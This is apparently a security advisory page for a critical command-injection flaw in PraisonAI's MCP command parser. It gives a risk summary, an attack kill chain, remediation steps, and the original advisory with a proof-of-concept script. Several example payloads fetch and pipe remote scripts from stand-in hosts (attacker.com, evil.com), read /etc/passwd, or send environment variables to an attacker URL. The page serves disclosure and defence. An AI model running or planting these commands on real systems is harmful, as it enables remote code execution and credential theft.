GHSA-9qhq-v63v-fv3j: PraisonAI: RCE via MCP command injection

GHSA-9qhq-v63v-fv3j CRITICAL
Published April 17, 2026
CISO Take

PraisonAI's MCP command handler passes arbitrary executable strings—including bash, python, and /bin/sh with inline code execution flags—directly to subprocess without an allowlist or argument validation, enabling unauthenticated remote code execution on any host running the framework. With a CVSS of 9.8 (AV:N/AC:L/PR:N/UI:N), exploitation is trivial: any attacker who can influence an MCP server configuration—via a malicious plugin, tampered config file, or prompt injection that directs the agent to load an attacker-controlled MCP definition—gains full shell access with no special privileges. The situation is compounded by an incomplete fix at commit 47bff654 that creates false confidence, as the patched parse_mcp_command() still lacks the three controls that would actually prevent exploitation: an executable allowlist, basename path validation, and argument inspection. Upgrade to praisonai >= 4.5.149 immediately and verify the patch includes ALLOWED_COMMANDS enforcement; if upgrade is blocked, disable MCP server features and restrict subprocess monitoring to alert on unexpected executables spawned by the agent process.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

Critical. CVSS 9.8 with network attack vector, low complexity, and no privileges or user interaction required makes this trivially exploitable at scale. The incomplete patch is a significant compounding factor—organizations that applied the fix commit but did not upgrade to 4.5.149 remain fully vulnerable while believing they are protected. As an AI agent framework, PraisonAI typically runs with broad system permissions and network access, amplifying blast radius beyond the process itself to credential stores, connected services, and adjacent infrastructure. The 35 prior CVEs in this package signal persistent security debt in the codebase.

Attack Kill Chain

Configuration Injection
Attacker supplies or modifies an MCP server configuration containing a malicious executable command string such as 'bash -c "curl attacker.com/shell.sh | sh"'.
AML.T0081
Validation Bypass
parse_mcp_command() accepts the malicious command without allowlist checking, path validation, or argument inspection, returning it as a valid executable tuple.
AML.T0050
Remote Code Execution
Subprocess executes the arbitrary command under the PraisonAI agent's process identity, granting the attacker an interactive shell on the host system.
AML.T0112.000
Credential Harvest and Lateral Movement
Attacker exfiltrates LLM API keys, database credentials, and cloud tokens from process environment variables, then pivots to connected AI infrastructure and data stores.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
praisonai pip <= 4.5.148 4.5.149
1 dependents 86% patched ~0d to patch Full package profile →

Do you use praisonai? You're affected.

Severity & Risk

CVSS 3.1
9.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

7 steps
  1. Patch: upgrade praisonai to >= 4.5.149 immediately.

  2. Verify the patched parse_mcp_command() actually includes ALLOWED_COMMANDS enforcement and os.path.basename() validation—do not assume the package release reflects the fix commit alone.

  3. Audit all MCP server configurations in use: inventory every configured executable and remove anything outside npx, uvx, node, python.

  4. Harden configuration file permissions to prevent unauthorized modification; treat MCP config files as privileged assets.

  5. Monitor subprocess invocations: alert on bash, sh, cmd, wget, curl, or any executable not on an explicit allowlist spawned by the PraisonAI process.

  6. If an immediate upgrade is blocked, disable MCP server features entirely via configuration.

  7. Rotate any credentials or API keys that were accessible to the PraisonAI process on affected systems, as a precaution against prior exploitation.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.10.3 - Security of AI system components A.5.2 - AI risk treatment
NIST AI RMF
GOVERN-1.3 - Organizational risk tolerance policies for AI MANAGE-2.2 - Risks or harms associated with AI are managed
OWASP LLM Top 10
LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Frequently Asked Questions

What is GHSA-9qhq-v63v-fv3j?

PraisonAI's MCP command handler passes arbitrary executable strings—including bash, python, and /bin/sh with inline code execution flags—directly to subprocess without an allowlist or argument validation, enabling unauthenticated remote code execution on any host running the framework. With a CVSS of 9.8 (AV:N/AC:L/PR:N/UI:N), exploitation is trivial: any attacker who can influence an MCP server configuration—via a malicious plugin, tampered config file, or prompt injection that directs the agent to load an attacker-controlled MCP definition—gains full shell access with no special privileges. The situation is compounded by an incomplete fix at commit 47bff654 that creates false confidence, as the patched parse_mcp_command() still lacks the three controls that would actually prevent exploitation: an executable allowlist, basename path validation, and argument inspection. Upgrade to praisonai >= 4.5.149 immediately and verify the patch includes ALLOWED_COMMANDS enforcement; if upgrade is blocked, disable MCP server features and restrict subprocess monitoring to alert on unexpected executables spawned by the agent process.

Is GHSA-9qhq-v63v-fv3j actively exploited?

No confirmed active exploitation of GHSA-9qhq-v63v-fv3j has been reported, but organizations should still patch proactively.

How to fix GHSA-9qhq-v63v-fv3j?

1. Patch: upgrade praisonai to >= 4.5.149 immediately. 2. Verify the patched parse_mcp_command() actually includes ALLOWED_COMMANDS enforcement and os.path.basename() validation—do not assume the package release reflects the fix commit alone. 3. Audit all MCP server configurations in use: inventory every configured executable and remove anything outside npx, uvx, node, python. 4. Harden configuration file permissions to prevent unauthorized modification; treat MCP config files as privileged assets. 5. Monitor subprocess invocations: alert on bash, sh, cmd, wget, curl, or any executable not on an explicit allowlist spawned by the PraisonAI process. 6. If an immediate upgrade is blocked, disable MCP server features entirely via configuration. 7. Rotate any credentials or API keys that were accessible to the PraisonAI process on affected systems, as a precaution against prior exploitation.

What systems are affected by GHSA-9qhq-v63v-fv3j?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP integrations, multi-agent pipelines, AI development environments, CI/CD AI pipelines.

What is the CVSS score for GHSA-9qhq-v63v-fv3j?

GHSA-9qhq-v63v-fv3j has a CVSS v3.1 base score of 9.8 (CRITICAL).

AI Security Impact

Affected AI Architectures

agent frameworksMCP integrationsmulti-agent pipelinesAI development environmentsCI/CD AI pipelines

MITRE ATLAS Techniques

AML.T0010.005 AI Agent Tool
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0053 AI Agent Tool Invocation
AML.T0081 Modify AI Agent Configuration
AML.T0112.000 Local AI Agent

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.10.3, A.5.2
NIST AI RMF: GOVERN-1.3, MANAGE-2.2
OWASP LLM Top 10: LLM07, LLM08

Technical Details

Original Advisory

### Summary The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution. ### Affected Package - **Ecosystem:** PyPI - **Package:** MervinPraison/PraisonAI - **Affected versions:** < 47bff65413be - **Patched versions:** >= 47bff65413be ### Details The vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments. The fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands. Malicious MCP server commands such as `python -c 'import os; os.system("id")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-34935 - PraisonAI command injection via parse_mcp_command() Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654). The pre-patch parse_mcp_command() performs NO validation on the executable or arguments, allowing arbitrary command execution via MCP server commands. Repo: https://github.com/MervinPraison/PraisonAI Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c """ import sys import os import importlib.util # Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py" def load_mcp_handler(): """Load the real MCPHandler class from the vulnerable source.""" base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py" spec_base = importlib.util.spec_from_file_location("features_base", base_path) mod_base = importlib.util.module_from_spec(spec_base) sys.modules["features_base"] = mod_base with open(MCP_PATH) as f: source = f.read() source = source.replace("from .base import FlagHandler", """ class FlagHandler: def print_status(self, msg, level="info"): print(f"[{level}] {msg}") """) ns = {"__name__": "mcp_module", "__file__": MCP_PATH} exec(compile(source, MCP_PATH, "exec"), ns) return ns["MCPHandler"] def main(): MCPHandler = load_mcp_handler() handler = MCPHandler() print(f"Source file: {MCP_PATH}") print(f"Loaded MCPHandler from real PraisonAI source") print() malicious_commands = [ "python -c 'import os; os.system(\"id\")'", "node -e 'require(\"child_process\").execSync(\"whoami\")'", "bash -c 'cat /etc/passwd'", "/bin/sh -c 'wget http://evil.com/shell.sh | sh'", ] print("Testing parse_mcp_command with malicious inputs:") print() all_accepted = True for cmd_str in malicious_commands: try: cmd, args, env = handler.parse_mcp_command(cmd_str) print(f" Input: {cmd_str}") print(f" Command: {cmd}") print(f" Args: {args}") print(f" Result: ACCEPTED (no validation)") print() except Exception as e: print(f" Input: {cmd_str}") print(f" Result: REJECTED ({e})") all_accepted = False print() if all_accepted: print("ALL malicious commands accepted without validation!") print() with open(MCP_PATH) as f: source = f.read() has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower() has_basename_check = "os.path.basename" in source has_validation = has_allowlist or has_basename_check print(f"Has command allowlist: {has_allowlist}") print(f"Has basename check: {has_basename_check}") print(f"Has any command validation: {has_validation}") print() if not has_validation: print("COMMAND INJECTION: parse_mcp_command() has NO command validation!") print(" - No allowlist of permitted executables") print(" - No argument inspection") print(" - Arbitrary commands passed directly to subprocess execution") print() print("VULNERABILITY CONFIRMED") sys.exit(0) print("Some commands were rejected - validation present") sys.exit(1) if __name__ == "__main__": main() ``` **Steps to reproduce:** 1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real` 2. `cd /tmp/praisonai_real && git checkout 47bff654~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist. ``` ### Impact An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement. ### Suggested Remediation Implement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).

Exploitation Scenario

An attacker targets an organization using PraisonAI for autonomous AI agent workflows. They identify that MCP server configurations are loaded from a shared plugin registry or version-controlled repository with broader write access than the production environment. The attacker submits a pull request or package update containing an MCP server definition with the command string 'bash -c "env | curl -d @- https://attacker.com/exfil"'. When the CI/CD pipeline or a developer workstation loads this configuration, parse_mcp_command() accepts it without validation and passes it to subprocess execution. The attacker receives all environment variables—including LLM API keys, database credentials, and cloud provider tokens—and uses them to pivot into model infrastructure, exfiltrate training data, and establish persistence in the broader AI development environment.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
April 17, 2026
Last Modified
April 17, 2026
First Seen
April 18, 2026

Related Vulnerabilities